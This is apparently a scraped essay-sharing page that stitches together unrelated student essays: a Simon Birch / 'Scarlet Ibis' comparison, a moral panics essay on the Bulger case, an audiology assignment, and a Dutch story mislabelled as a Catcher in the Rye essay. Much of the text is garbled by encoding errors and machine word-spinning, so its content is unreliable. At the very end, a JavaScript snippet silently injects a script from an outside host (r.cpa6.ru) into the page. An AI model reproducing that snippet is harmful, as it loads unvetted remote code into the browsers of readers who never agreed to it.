Death Be Not Proud: Simon Birch to The Scarlet Ibis Comparison Essay

It is said that a person can accomplish anything if they put their mind to it. Humans have walked on the moon, swam the English Channel, and overcome disabilities to defy nature itself. In the film Simon Birch and the short story â€Å"The Scarlet Ibis†, two boys work to push past their disabilities that limit their lifestyles to the point of eventual death. Both Simon Birch and Doodle (â€Å"The Scarlet Ibis†) prove that strength does not necessarily have to come from the healthiest of humans, but that the ideas of tolerance for all should be a universal practice. Through their similarities and differences, these unlikely characters teach the reader about might and acceptance of those with disabilities. Doodle and Simon Birch are boys born with handicaps that could easily have limited their lifestyle. Doodle’s developmental delay and Simon’s small stature cause both characters to rely on those around them for support and assistance. Luckily, the kindness of Joe Wentworth towards Simon Birch and the consistent attentions of Doodle’s brother, allow both handicapped boys to live lives greater than most of the world could imagine. Swimming, learning to walk, and boxing were a few things that Doodle learned from his persistent brother. Likewise, Simon enjoyed swimming with his friend Joe, and also playing baseball, which was some thing others did not think he could do. Not only did both characters push themselves with the help of their support systems, they also viewed the world around them as a beautiful place, in which they could learn to defy the limitations of their human bodies. The doctors never believed that Simon would amount to anything and he became a handicapped hero by saving a bus full of kids. Doctors said Doodle would never walk and through pain, frustration, and never giving up, he was able to learn to walk by his 6th birthday. The similarities between these characters are uncanny, but one thing that is continuously evident is that their disabilities did not handicap them. While these two boys have many character traits in common, their differences are most evident in the way they were treated by those around them. Shame and embarrassment in having a handicapped brother is what motivates Doodle’s brother to teach Doodle to walk. In contrast, Simon Birch’s best friend, Joe, never treats Simon as handicapped and willingly brings him everywhere he goes. However, Simon’s family and many people around him do not see Simon as a miracle, but rather fear his â€Å"differences† as they do not understand him. He is ignored, rudely made fun of by others his age, and even told by a priest that God doesn’t have a plan for him. Doodle’s situation is completely different as his family is very supportive, caring, and nurturing, even if pride is the cause in the case of his brother. Pride also leads to another contrast between these characters in their inevitable deaths. While Simon Birch dies a triumphant hero’s death, a disappointed brother leaves Doodle behind when he can no longer keep up. Despite Doodle’s warnings, his brother continues on without him only to return to find Doodle bleeding from the mouth and finally overcome by his handicapped limitations. The early deaths of these two boys are yet different as one dies due to love and other out of embarrassment. The important message of tolerance for all differences can be seen in the likenesses and dissimilarities of Doodle and Simon Birch. Both demonstrate an inner strength, greatly due to their support systems, uninhibited by size or development that makes them mighty. Both also show a love for others that causes them to sacrifice their own lives. Each of their sacrifices paints a picture of how the world treated them differently and how one rose to a hero’s challenge and the other died in miserably being pushed beyond his limits. The greatest lessons are sometimes found in the most unlikely places. Anyone can be a hero, but maybe being a hero is more about looking beyond the surface and most importantly, leaving pride behind.

Moral panics Essay

The term ‘moral panic’ suggests a dramatic and rapid overreaction to forms of deviance or wrongdoing believed to be a direct threat to society. The most common definition of a moral panic is the opening paragraph of ‘Folk Devils and Moral Panics’ by Stanley Cohen: Societies appear to be subject, every now and then, to periods of moral panic. (1) A condition, episode, person or group of persons emerges to become defined as a threat to societal values and interests; (2) its nature is presented in a stylized and stereotypical fashion by the mass media; (3) the moral barricades are manned by editors, bishops, politicians and other right-thinking people; (4) socially accredited experts pronounce their diagnoses and solutions; (5) ways of coping are evolved or (more often) resorted to; (6) the condition then disappears, submerges or deteriorates and becomes more visible. Sometimes the object of panic is quite novel and at other times it is something which has been in existence long enough, but suddenly appears in the limelight. Sometimes the panic passes over and is forgotten, except in folk lore and collective memory; at other times it has more serious and long-lasting repercussions and might produce such changes as those in legal and social policy or even in the way the society conceives itself. Although in Cohen’s original work the numbers did not appear, but they can be said to represent the six stages in the development of a moral panic. One such moral panic was the ‘video nasties’ case after the James Bulger murder in 1993. Robert Thompson and Jon Venebles, who were both ten years old at the time, abducted James from the Strand shopping centre in Bootle, Liverpool. They walked him two miles to a railway line where they inflicted massive injuries on him, which resulted in his death. This deviant act dominated the newspaper headlines and created a panic. This murder was portrayed as a horrific act in the press and symbolized the degeneration of modern British society. The Bulger case was used, by the media, to symbolise all what was wrong with Britain. They focused on the difference between innocence and evil and why we as a society let this happen, it suggested the increase of public indifference, lowering family values and increasing isolation, generating massive public guilt and predicting a breakdown in society itself. Fuelled by the press reports, reasons were sought why the murder of James Bulger may have happened. This prompted demands for tighter controls, curfews for young people and stricter laws. One of these laws was for stricter controls on violent films, or ‘video nasties’, as the press called them. This was because the trial judge, who sentenced Venebles and Thompson to be â€Å"detained at Her Majesty’s Pleasure†, unusually made a statement in open court claiming that he believed violent videos may in part be an explanation to why the boys committed murder. He in particular singled out the film ‘Child’s Play 3’, which he stated â€Å"had some striking similarities to the manner of the attack on James Bulger†. The police officer in charge of the case told The Guardian newspaper that he â€Å"had no evidence to suggest that the boys had access to any videos worse than might be found in many households†. This comment didn’t matter, the scapegoat had been found and this was the starting point for the second moral panic about ‘video nasties’. The first such panic occurred between 1982-1984 during the influx of video cassette recorders (VCR), one-third of households owned or rented a VCR. Coincidentally, Hollywood produced a crop of gruesome horror films which prompted many complaints, due to the extreme violence of such films, including sadism, mutilation and cannibalism. Laws were set up to prevent children from renting or buying 18 certificate films, and The Daily Mail’s ‘Ban The Sadist Videos’ campaign was set up. During the course of this first ‘video nasty’ moral panic, the term ‘video nasty’ was unmistakably synonymous simply with horror films and by 1984 the Video Recordings Act had been set up and became law. During the Bulger trial the press used emotive language to create a moral panic about the influences of video nasties. The press wanted to blame the moral decline on liberal permissiveness, the collapse of family life and the failings of schools, but the real culprit in the Bulger case was the arguments about the effects of the media. Every newspaper focused in detail on the alleged influence of ‘video nasties’. The Sun declared that â€Å"An x-rated video may have sown the seeds of murder in the mind of one of James Bulger’s killers† and the Daily Mirror ran the headline â€Å"Judge Blames Violent Videos†. ‘Child’s Play 3’, a film about a doll which comes to life and commits a series of murders, had been rented by one of the parents of one of the boys shortly before the murder. However, the police did not introduce the film as evidence in court as there was no evidence that either Venebles or Thompson had actually watched it. Whether or not the film had played a part in inciting the boys to commit murder, the video became the scapegoat. The press simplified the moral issues by concentrating on the video to the exclusion of virtually all other possible influences on the killers. The day after the judge’s summing up the Daily Mirror printed sensational coverage of the ‘evil’ and ‘sick’ video in the first few pages of the paper. Later Mirror coverage included an interview with the film’s director, David Kirschner, quoting him as saying that ‘Child’s Play 3’ was â€Å"never intended for kids† and that he wouldn’t let his own children watch it. The Sun’s coverage was more graphic than that of the Mirror. The front page of an issue led with the headline â€Å"For the sake of ALL our kids†¦ BURN YOUR VIDEO NASTY†, launching a campaign to destroy all copies of ‘Child’s Play3’ by asking readers and video shop outlets to burn them. In the same issue a graph was also printed showing the heart rate of a Sun journalist who watched ‘Child’s Play 3’ whilst wired to a heart monitor, her heart rate increased during the most violent parts of the film. The Sun used this experiment to prove that the video was indeed an incitement to murder, trying to prove that the furore over the so-called video nasties was a valid one. The case of the Bulger murder was seen to encompass every negative aspect of society which is evident in today’s world. The Times described this as a â€Å"reminder of humanity’s most ancient and bestial instincts†. Comments like this gave the press the opportunity to preach to society about modern social values and the need to return to a vigilant network of neighbours looking out for one another. The Times also used the word â€Å"alarm† to sensationalise the more accurate term â€Å"concern†, this use of language brings a new urgency to the debate about the video nasty moral panic. The press, using sensational media scaremongering, as they do to sell more papers, focused entirely on how violent films and in particular ‘Child’s Play 3†² incited the two boys to commit murder. Describing the film using words such as â€Å"sick† and â€Å"evil†, and even drawing parallels between the killings in the film and how James Bulger was murdered, of which none were proved in court. Moral panics tap into the public’s fears for their safety and the safety of their society around them. In many instances the press coverage of such events doesn’t help in alleviating the public’s fears, more often than not the press heighten these fears. They do this through sensationalism reporting. As tragic as it was that a young toddler was killed it allowed the people who hold power in this country to enforce their ideas and rules – more CCTV cameras were installed in the country because of how essential they were in identifying James’ murderers. Many panics result in official change and have long-lasting repercussions, as was the case of the video nasties moral panic. The Video Recording Act 1984 was set up introducing the regulations of videos through the British Board of Film Classification. The debates upon the lack of parental control in monitoring children’s viewing and the dangers of young children watching films intended for a mature audience led to further regulations in 1994. Bibliography Bell A, Joyce M, Rivers D, Advanced Level Media. Hodder & Stoughton, UK, 1999 Bowker, Julian, Looking at Media Studies, Hodder and Stoughton, UK, 2003 Cohen, Stanley, Folk Devils and Moral Panics, Macgibbon and Kee, London, 1972 Critcher, Chas, Moral Panics and the Media, Open University Press, UK, 2003 Price, Stuart, Media Studies (2nd Edition), Longman, UK, 1999

International Students At Georgia Military College (Gmc)

International students at Georgia Military College (GMC) face a number of problems and challenges unique to their circumstances. These problems and challenges, namely language, financial and cultural barriers, are specific to the experience of international students, and compound the stresses and difficulties that they already cope with just by virtue of being college students. Without a specific study abroad program or supportive resources to aid international students, these barriers can be overwhelming. Language is the most important barrier to adjusting to college life as an international student, followed by financial difficulties, and, lastly, difficulty adapting to the dominant culture. International students at GMC face many, if†¦show more content†¦Lack of language facility tends to cause international students to become more silent and reticent. According to the descriptions of Vi Lieu, an international student from Vietnam, â€Å"Although she started to learn En glish when she was younger like most other Vietnamese, the way English is taught in her country emphasizes more on the written form than the spoken form. English is taught mostly through the traditional grammar-translation method† (Lieu). Although some international students have to take English courses before they move forward to their career programs, they still cannot use English as a native speaker. Besides listening and speaking problems, writing is also difficult. I personally find it difficult to write. No matter how long it takes me to write a paper I always end up with grammar, punctuation and spelling errors. Although international students may have support from their professors and have access to tutors or other faculty staff at the school, they usually have problems with writing or using appropriate citation on papers. This issue can sometimes cause problems in their academics. Students may try to improve their English in an appropriate way, such as through using school resources, or by hanging out and living together with other American students instead of people from their own or other countries. However, they always encounter some barriers. Financial challenges Although all students at GMC, whether

Personal Statement My Life - 1734 Words

In my past I was constantly striving for achievements, whether it was school, music, or good deeds in general, I wanted to be the best and stand out. This was not because those things gave me a sense of personal satisfaction, but rather it was because I wanted to finally be good enough for my dad to be proud of me or for my mom to take an actual personal interest in who I was and not what I could provide for her. By the time I had moved across the country to go to college and to, frankly, begin writing a new chapter in my life, I could name this struggle and recognize situations that would perpetuate this struggle. But by then the cycle had been set in motion. I have just recently come to a point in my life where I am more likely to not be as ashamed or self-defeating if I do not succeed or sacrifice as much as I used to. However, with that said, there are still areas in my life that would benefit from change and growth. I would like to be able to feel fulfilled in life and not have that fulfillment come from feeling like I have to constantly please others. I would also like to be able to better deal with the pressures of life before I send myself spiraling into a whirlwind of bad thoughts or seasons of depression. I most definitely believe that these goals can be brought about by personal change and counseling. Section Two: Counseling Theories Theory One: Psychoanalytical Therapy Focus. If I were to go to counseling and a psychoanalytical approach was taken, the focusShow MoreRelatedPersonal Statement : My Life998 Words   |  4 Pages Personal Statement ï » ¿ ï » ¿ ï » ¿Ã¯ » ¿I was born in the historical city of Patiala, town in northern part of India. All my ancestors right until my father have been businessmen. Due to early demise of my Grandfather my father had to take over his clothing business in his early 20 s. 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Conflict Management Assessment Essay - 1808 Words

Conflict Management Assessment Listed below are five different ways of dealing with conflict (when you and another person have a serious disagreement). Using the following scale, please circle the number that best represents how frequently (often) you use each behavior when confronted with a conflict. 1= you never behave that way 2= you rarely (hardly) behave that way 3= you sometimes behave that way 4= you usually behave that way 5= you always behave that way 1. I avoid the person I am having a conflict with. 1 2 3 4 5 2. I try to understand where the other person is coming from. 1 2 3 4 5 3. I fight the conflict out physically. 1 2 3 4 5 4. I admit I am wrong, even when I believe I am not. 1 2 3 4 5 5. I whine and†¦show more content†¦38), also points out that conflict may be viewed as an opportunity to â€Å"‘learn, to see beyond our limited personal experience, to connect to others, to recognize our potential, and to collaborate in generating new solutions to old problems.’† However conflict is viewed, students who can manage their conflicts in a rational, civil and effective way, allow teachers to devote more time to teaching rather than resolving student disputes and/or dealing with disruptive situations, which supports student achievement (www.knowconflict.com, 2006). Thus students who practice effective conflict management skills, help to create a positive environment where students can focus on learning. (www.knowconflict.com, 2006). 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Quantitative Measurement of Paraphrasing †MyAssignmenthelp.com

Question: Discuss about the Quantitative Measurement of Paraphrasing. Answer: Introduction: The purpose of audio meter is to ensure that quantitative measurement of Air Conduction (AC) , along with Bone Conduction PT thresholds. The threshold levels within the AC are used to assess the auditory pathway, with the use of earphones. The energy that is emitted from conducted air is responsible for causing the basilar membrane travelling waves that helps to propagate the membrane of stiffer base and it is more complement within the basilar membrane. The threshold within BC can be measured using the vibrator that is placed within the skull. The bone Conduction can be used to measure energy using the help of non-occesaues skull conten that are present in membranes, brains and fluid. This can reach the cochlea through the cochlear vestibular aqueducts. The different inner components that includes the cochlear compression and distortion along with the cochlear fluid can contribute in the skull content transmission. The purpose of BC testing is to ensure that cochlea is directly stim ulated using by passing through middle and outer ear. With the help of the comparison between the thresholds of AC and BC, it is possible to separate the estimate of status related to the neural system and conducive system. Assuming that thresholds are raised just as for resonances introduced Toward AC and BC, afterward the external Furthermore center ear need aid not helping with a Loss of the sense of hearing (sensorineural loss). Eventually Tom's perusing contrast, In thresholds need aid poorer by AC over Toward BC, At that point those wellspring about no less than some of the passing will be the external alternately center ear (conductive loss). However, bone-conducted vitality doesn't quite. Sidestep those external ear Also center ear. Site-of-lesion diagnoses will be a greater amount exact for an understanding that impediment or confusion of the external ear, center ear, or inward ear parts might influence bone conduction thresholds as well. An Comprehension of bone conduction listening to will be crucial. To audiologists with fau ltlessly allocate Loss of the sense of hearing "around those could be allowed locales of less greatness more should recognize the levels about listening to misfortunes. The thresholds of AC that can be measured using the components of audio transducer and hence, it is possible to obtain the sound-fields thresholds. It is not possible to get the help of the sound-field thresholds using the components of ear-specific sensitivity. In unilateral hearing loss, the ear can determine the level of threshold. This limitation has greater effects on the control over the stimuli and is also regarded to improve upon the use of the stimulus. With the help of Sound-field threshold, can be desirable for an individual with hearing aid. The measurement of the threshold helps in the matters regarding the orientation of the listeners that has larger effects over the field threshold level by creating effects over the eardrum. The level of sound is affected by the torso and components related to the external ear. SPL differences are regarded as the major substantial for location of the speaker. The location of the speaker as well as the angles relative to the listener ha s significant effects. Hence, the sound field calibrations are taken into consideration for the following purpose. The location of the listener during the time of testing can be used indicated by markings. The frequency of the eardrum can vary from 20dB, which is among the most important part that is needed in the overall process to simulate the listening response. In this case, it is assumed that listener and the source of the sound is in the same direction. It is also possible that the furniture and other persons, who are present in the room, can also have the ability to influence the stimulus of the eardrum of the listener. These are few of the challenges that are encountered due to the accurate sound field hearing. The sound-field that is used in the matters related to most of the effective parts of the stimulus. The standing waves can occur due to the fact that direct sounds have the ability to directly interact with the reflection of the sound waves. The difference in the leve l of stimulus level can help to minimize the level of the standing waves that result in the most narrowband of the noise or tones that are Frequency modulated (FM), which has the power to tone the stimulus. FM tones can be also called as the warbled tones, which are resulted in the matters of frequency that can be arranged in the matters related to nominal frequency variation and this variation may occurs several times in one second. The earphones provides threshold that are similar to the pure tones that can have significant effect to the stimulus. It is advisable to use narrow band tunes under the earphones, which can be stimulated by the FM. This measurement is done with the help of the dBSPL of dB(A), which is more important than the matters related to the sensitive frequency background. The noise can also be maeaited with the help of dBHL in case; they are used in the matters related to the position of the speaker. It is important o recalibrate the speaker in order charges it for further testing process. The audiological management has the duty to manage and diagnosis the type and the magnitude of the hearing loss that needs to be a part of the overall treatment process in case of the hearing loss. Treatment process like the candidacy amplification can be used in the following purpose. With the help of the audiologic service, the patient can also be referred in additional services. There are several outcomes of the audiological process. The type needs to be diagnosed and the extent to which, the hearing loss occurs. The need of the medical referral that needs licensed physicians. With the help of the provisions, it is possible to deal with the result and the treatment options that are appropriate for each family. The viral infection and trauma may result in the hearing loss, which is regarded as the main cause of the infection and trauma that can have VIII nerve pathology. There is also hearing loss that is associated with the immune system disorders. This can occurs from both viral and bacterial infection. With the help of the audiologic case, it is possible to deal with the matters related to subjective test matters, which cannot be resolved with the help any forms of test equipments. The error from the patient is also a matter that is related in the following cases. It is also possible to deal with the matters related asymmetric hearing loss, which can have the results related to most of the parts. The tumor can be one of the major causes related VIII nerve. The reports of aural fullness can also be evaluated by the physicians. In case, the discrepancies cannot be resolved by identifying the cause and the symptoms. It is also important to consult physicians, who can apply the principals of audiologist to provide the correct forms of treatment. It is also possible to have the most effective ways to deal with the increased likelihood of success related to the audiologic rehabilitation. Due to the process of inflammation, there is sudden loss, which occurs within the cochlea, which is caused due to virus infection. There are also many cases, where full recovery of the hearing do not occurs. The unilateral hearing loss has several challenges. It is not possible to deal with everyday life activities due to the challenges in the hearing. Without the assistance of the hearing aids, it is not possible to sustain the life. There is also chance of facing up with social discrimination, which will help to deal with matters related to the shadow effects. Frequencies higher than 2000Hz can be attenuated with the help of reflection. An average intensity of 6dB needs to be maintained between two ears. Thus, in unilateral hearing loss, the higher frequencies tend to reach the good ears. The accurate perceptions can also be diminished in case of speech related to consonant. The brain of human is well balanced in the forms that have the ability to deal with most of the matters related sound processing. The process of unilateral hearing can be disputed with the further understanding of the sound enhancement and also understanding the nature of environment needed for sound propagation.

The Cather In The Rye Essay Research free essay sample

The Cather In The Rye Essay, Research Paper Nog voor hij het de klas instapte wist hij het Al. Moest hij dot wel doen? Was heated wel zo verstandig? Al maandenlang had Bertus B. rondgelopen met het program. Steeds opnieuw hadden angst en onzekerheid hem ervan weerhou-den het 10 uitvoer Te brengen. Dagen lang had hij staan kijken bij dot, op het eerste gezicht lege en onschuldige klaslokaal. Maar plotseling op dat midder-nachtelijk uur, nam hij de beslissing en liep met zekere passen het lege donkere klaslokaal binnen. Het duurde even voordat zijn ogen gewend waren aan het donker en het lokaal. Stap voor stap kwam hij dichter-bij het rod in de vloer vliering. Langzaam kroop hij op zijn knie? n naar een doos. Hij klikte heated slotje unfastened en pakte Er een pistool eruit. Het had het al diverse malen gebruikt om zijn zogenaamde klusjes Te klaren. Hij vergrendelde het pistool met de veiligheidspal en stopte het in z # 8217 ; n jaszak. We will write a custom essay sample on The Cather In The Rye Essay Research or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Hij deed de doos weer op slot en liep zachtjes het lokaal uit. Bertus liep op zijn tenen om de congiere maar niet Te wekken uit zijn verdoving, ALSs die wakker werd waren de poppen aan het dansen. Hij trok de rits van zijn leren zwarte jas helemaal dicht en sloop de nooduitgang uit. De lamp buiten sprong aan. Zonder naar Te denken zette Bertus het op een lopen nut verdween in de donkere nacht. Toen hij thuis kwam sloop hij zachtjes naar de schuur. Tegen de wand stond een breekijzer, hij wikkelde deze in kranten en hield het ijzer onder zijn jas. In zijn hoofd ging hij alle mogelijkheden sodium. Had hij alles? Kon iemand hem? Of nog erger HAD iemand hem gezien? Hij zette deze gedacht uit zijn hoofd en liep zachtjes naar buiten. Hij liep zonder na te denken naar de afgesproken plaats waar hij Arie zou ontmoeten. Van een afstand zig hij Arie Al staan. Arie was helemaal in heated zwart gekleedt. Arie liep op hem af, en ging naast hem lopen. # 8220 ; Vanmiddag gaat het beginnen en komen ze langs, tot dan hebben wij de tijd # 8221 ; , zei hij. Bertus knikte instemmend. Hij castle aan Arie digital audiotape hij weer gedron-ken had. # 8220 ; Ik dacht dat je opgehouden was met drinken, dot valt me van je tegen. Zeker als we een klus gaan klaren heb ik liever digital audiotape je nuchter set. Zeker na de vorige keer. # 8221 ; Arie dacht sodium, hij was inderdaad Al eens van het dhak af gelazerd toen hij gedronken had. Dit was geen goed idee. # 8220 ; Maar ik had ook alleen maar wat gedronken omdat ik zo zenuwach-tig was. # 8221 ; , verontschuldigde hij zich tegenover Bertus. Die keek hem een keer kwaad aan en zei, # 8220 ; Dan ga je toch niet mee. # 8221 ; Arie moest daar niet aan denken. Die Bertus zou hij peg wel een keer op zijn nummer zetten. In versnelde pas liepen ze naar de haven. Het was donker, aarde donker. Alleen de sterren aan de hemel gaven wat licht. Ze liepen langzaam naar de containers die huizenhoog omgestapeld waren. Aan het einde stond de een container. Bertus kon niet zien welke kleur hij had, het was te donker. Arie zei: # 8220 ; Dit is de container dice John bedoelde. # 8221 ; Bertus keek op zijn horloge, half omegas, heated begint straks al licht Te worden. Veel tijd was er niet meer. Hij plaatste het breekijzer tussen de deur en het slot. Met een krachtige ruk brak het slot zonder Al teveel lawaai. Arie schrok en title een stap opzij. Bertus bleef koel staan, iets waar hij subsequently spijt new wave kreeg. Er klonk geen geluid, het volgende minute greep Bertus met beide handen naar zijn hoofd en viel achterover. Ans werd wakker en zag de lege plaats naast zich. # 8220 ; Vreemd. # 8221 ; dacht ze. # 8220 ; Normaal is hij niet zijn bed uit Te branden. Hij zal wel een belangrijke zaak hebben. # 8221 ; Ze rekte zich uit en liep richting de douche, maar bedacht zich, ze Wilde eert een koppie koffie drinken. Beneden slowdown een briefje new wave Bertus: gt ; # 8220 ; Ik ben met Arie naar de haven, vanavond MOET het gebeurt zijn, anders is heated Te laat. # 8221 ; # 8220 ; Oh mijn God. # 8221 ; dacht Ans wanhopig # 8220 ; Hij gaat het echt doen. Hoe moet ik het nu nog verborgen houden? Eerst moet ik de rest bellen # 8221 ; # 8220 ; Joost, wat Department of Energy jij hier? ! # 8221 ; schreeuwde Arie iets harder dan hij had gewild. # 8220 ; Stil! , starks horen ze ons. # 8221 ; zei Joost op fluistertoon. # 8220 ; Maar wat Department of Energy jij in godsnaam in die container en heb je met Bertus gedaan? # 8221 ; # 8220 ; Ik leg heated allemaal wel uit, het spijt me trouwens van Bertus, hij mag het niet weten, niet voordat we klaar zijn. Check jij even of hij echt K.O. is? # 8221 ; Er verschenen drie car # 8217 ; s met gedoofde lichten. Mensen stapte uit en vervolgde hun weg Te voet naar de container. De telefoon ging. Klaas schrok wakker en nam de hoorn van de haak. # 8220 ; Met Klaas # 8221 ; , antwoorde een rauwe root. # 8220 ; Met Ans, hij weet het, hij weet het verdomme, alles is voor niets geweest. # 8221 ; klonk het paniekerig aan de andere kant new wave de lijn. # 8220 ; Geen nood, we hebben heated program al aangepast, alles loopt op rolletjes. # 8221 ; Bertus werd wakker, hij had geen hoofdpijn. Hij krabbelde overeind en probeerde alles op een rijtje Te zetten. # 8220 ; Waar is Arie? # 8221 ; Hij keek om zich heen en zig digital audiotape hij voor de container zat. Langzaam kwam zijn geheugen terug. Er scheen licht door de deur van de container. Hij pakte zijn pistool en hield het stevig huge in zijn rechterhand. Met zijn voet duwde hij de deur unfastened en liep naar binnen. Het was te donker om nog iets te zien. Hij stak zijn aansteker aan en liep verder. Leeg. De container was leeg. Er slowdown alleen een briefje: # 8220 ; Als je Arie nog ooit eens wil zien, kom digital audiotape naar caf? # 8220 ; De Potvis # 8221 ; in aan de haven. Het handschrift kwam hem bekend voor, maar hij kon niet bedenken new wave wie het was. Toen hij aankwam zig hij een adult male zitten aan een tafeltje. # 8220 ; Ga zitten agent Beerends. # 8221 ; , zei de adult male. # 8220 ; Heeft u gevonden wat u zocht? # 8221 ; Bertus was stom verbaasd. Hoe wist deze adult male zijn naam. En nog erger, zijn functie. Hij was nog maar een hebdomad bezig met heated infiltreren bij de bende nut was nu al ontmaskerd. De bende smokkelde cocaine het land binnen, digital audiotape was duidelijk, maar zijn baas Wilde digital audiotape hij onderzocht wie het brein achter deze organisatie was. Dit kon hij het makkelijkste doen door Te infiltreren bij de bende. Hoe kon hij zich hier uit redden? # 8220 ; Ik heb nog iets dat u wilt hebben. # 8221 ; , vervolgde de adult male op monologe toon. # 8220 ; Kijk eens in de zaal achter je. # 8221 ; Bertus vertrouwde het voor geen cent, toch stond hij op en liep naar de zaal. Langzaam opende hij de deur, het was donker nut stil, toch hoorde hij iets. Plotseling gingen de lichten aan. Bertus greep naar zijn pistool. # 8220 ; Gefeliciteerd! # 8221 ; , klonk het in koor. Voor de tweede maal was Bertus totaal verbouwereerd. Hij keek om zich heen en zig daar Al zijn vrienden. Ze zongen voor hem. Hij was jarig vandaag. Ans liep op Bertus af en onhelsde hem. # 8220 ; Al je collega # 8217 ; s en vrienden hebben hieraan meegewerkt om je in de val Te lokken # 8221 ; , lachte ze. # 8220 ; Jij zou het liefst vergeten dat je jarig set, maar op je veertigste verjaardag kom je er niet zo makkelijk onderuit. # 8221 ; Bertus zei niets en dacht alleen. Toen lachte hij. Hij was er met unfastened ogen ingelopen. Joost kwam naar hem toe. # 8220 ; Sorry van dice klap op je hoofd, maar nog niet alles was klaar en we moesten genuine tijd winnen. Bovendien had ik er niet op gerekend jij je pistool mee zou brengen. Dit zou was te gevaar-lijk zijn omdat we alles zo echt mogelijk wilden laten lijken. Ik was bang dat je wel eens zou gaan schieten. Want een khat in het donker maakt rare sprongen. # 8221 ; Die avond werd Er tot diep in de nacht gefeest. En Bertus? Zoiets had hij nog nooit meegemaakt. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;